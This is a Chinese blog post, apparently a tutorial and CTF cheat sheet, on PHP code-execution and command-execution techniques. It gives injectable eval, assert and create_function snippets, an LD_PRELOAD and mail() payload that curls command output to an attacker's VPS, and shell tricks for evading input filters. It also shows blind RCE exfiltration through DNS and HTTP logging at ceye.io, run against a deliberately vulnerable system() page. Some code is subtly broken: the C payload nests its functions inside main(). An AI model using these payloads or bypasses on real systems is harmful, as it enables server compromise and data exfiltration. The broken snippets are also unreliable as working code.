zoukankan      html  css  js  c++  java
  • PHP代码执行

    执行代码的几种方式

    ${}执行代码

    <?php
        ${phpinfo()};
    ?>

    eval()执行代码

    <?php
        eval('echo 2;');
    ?>

    assert()

    //?a=phpinfo()
    <?php 
        assert($_POST['a']);
    ?>

    assert函数支持动态调用

    //?a=phpinfo()
    <?php
        $a = 'assert';
        $a($_POST['a']);
    ?>

    php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

    preg_replace()

    preg_replace 执行一个正则表达式的搜索和替换。执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

    $a = 'phpinfo()';
    $b = preg_replace("/abc/e",$b,'abcd');

    create_function()

    该函数用来创建匿名函数。

    <?php
    //02-8.php?id=2;}phpinfo();/*
    $id=$_GET['id'];
    $str2='echo  '.$a.'test'.$id.";";
    echo $str2;
    echo "<br/>";
    echo "==============================";
    echo "<br/>";
    $f1 = create_function('$a',$str2);
    echo "<br/>";
    echo "==============================";
    ?>

    array_map()

    漏洞演示:

    //?a=assert&b=phpinfo();
    $a = $_GET['a'];
    $b = $_GET['b'];
    $array[0] = $b;
    $c = array_map($a,$array);

    call_user_func()/call_user_func_array()

    // ?a=phpinfo();
    call_user_func(assert,$_GET['a']);
    //?a=phpinfo();
    $array[0] = $_GET['a'];
    
    call_user_func_array("assert",$array);

    array_filter()

    $array[0] = $_GET['a'];
    array_filter($array,'assert');

    usort()

    详情看这里:http://www.am0s.com/functions/97.html

    常用的命令执行函数

    system()

    ➜ ~ php -r "system('whoami');"
    silkage

    eval()

    • eval()会把字符串按照php代码来执行(合法的php代码,以分号结尾)

    • eval()是一个语言构造器,不能被可变函数调用

    $a = $_POST['cmd1'];
    eval($a);

    passthru()

    调用shell命令,把命令的执行结果输出到标准输出设备上

    ➜ ~ php -r "passthru('whoami');"
    silkage

    exec()

    不输出结果,返回shell命令执行结果的最后一行

    ➜ ~ php -r "echo exec('whoami');"
    silkage

    pcntl_exec() ——–

    shell_exec()

    不输出结果,返回shell命令执行的所有结果

    ➜ ~ php -r "echo shell_exec('whoami');"
    silkage

    popen()

    proc_open()

    `反引号

    加了反引号的字符串将尝试作为外壳命令来执行,并将奇输出信息返回。

    ➜ ~ php -r "echo @`whoami`;"
    silkage

    ob_start()

    bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

    此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。 内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

     使用

    <?php
        ob_start("system");
        echo "whoami";
        ob_end_flush();
    ?>
    //输出www-data

    mail函数+LD_PRELOAD执行系统命令

    思路

    LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

    利用

    a.c

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h> 
    int main(){
    
    void payload() {
    system("curl http://vps_IP:4123/?a=`whoami`");
    } 
    int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
    }
    }

    编译

    gcc -c -fPIC a.c -o a 
    
    gcc -shared a -o a.so

    mail.php

    <?php
    putenv("LD_PRELOAD=/var/www/html/a.so");
    mail("a@localhost","","","","");
    ?>

    监听vps的4123端口,访问mail.php。

    ctf中的绕过tips:

    空格的绕过:

    1.< 重定向,如 cat<flag.php
    2.<> 重定向,如 cat<>flag.php
    3.%09 需要php环境,如cat%09flag.php
    4.${IFS} 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
    5.$IFS$9 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
    6.在Linux bash中还可以使用{cat,/flag.txt}来绕过

    字符串的绕过:

    1.变量控制(字符串拼接): a=l;b=s;$a$b
    2.编码绕过:
      base64,并不是很好用,因为base64有时候会出现'/'字符
    3.单双引号:ca""t fl""ag.txt
    4.反斜杠:cat flag.txt
    5.通配符*?:cat fla?.txt *代表若干字符,?代表一个字符
    6.采用$@绕过: cat fl$@ag.txt
    7.利用已经存在的资源:

    echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    echo $PATH | cut -c 1
    /

    tips:ip转换成数字:http://www.msxindl.com/tools/ip/ip_num.asp

    无回显的RCE

    这里我用到了一个dnslog的利用平台:

    http://ceye.io/profile

    注册一个账号就可以得到唯一的 Identifier:xxxxxx.ceye.io

    各种漏洞的测试方法都在http://ceye.io/payloads里面有介绍,这里就不一一解释了。只测试一个简单的命令执行。

    记录在http request

    目标服务器test.php后端源码:

    <?php
        $a = $_GET['id'];
        system("$a");
    ?>

    攻击机:

    然后就可以看到ceye平台的http requests已经记录了请求

     成功回显了root

    记录在http query中 

    DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。 举个例子

    在注册ceye.io之后会分配一个三级域名。就是******.ceye.io。

    ping `whoami`.******.ceye.io

    上面这条命令最终在ping的时候ping的是“root.******.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。(个人理解,如有错误,烦请指出。)

    所以这种方法的使用必须有ping命令。

    利用dnslog进行数据外带的原理请看我的另一篇文章:

    https://www.cnblogs.com/Silkage/p/13178032.html

  • 相关阅读:
    SQL Server和Oracle数据库索引介绍
    ITPUB上一个Oracle面试题
    国服《巫妖王之怒》3.35冰双持新手献礼指南
    WLK奥法输出循环
    flume架构初接触
    密码校验正则表达式(java 环境)
    初学Mahout测试kmeans算法
    身份证校验(java)
    gcc 中 O选项对空函数的优化
    《肖申克的救赎》语录
  • 原文地址:https://www.cnblogs.com/Silkage/p/13167143.html
Copyright © 2011-2022 走看看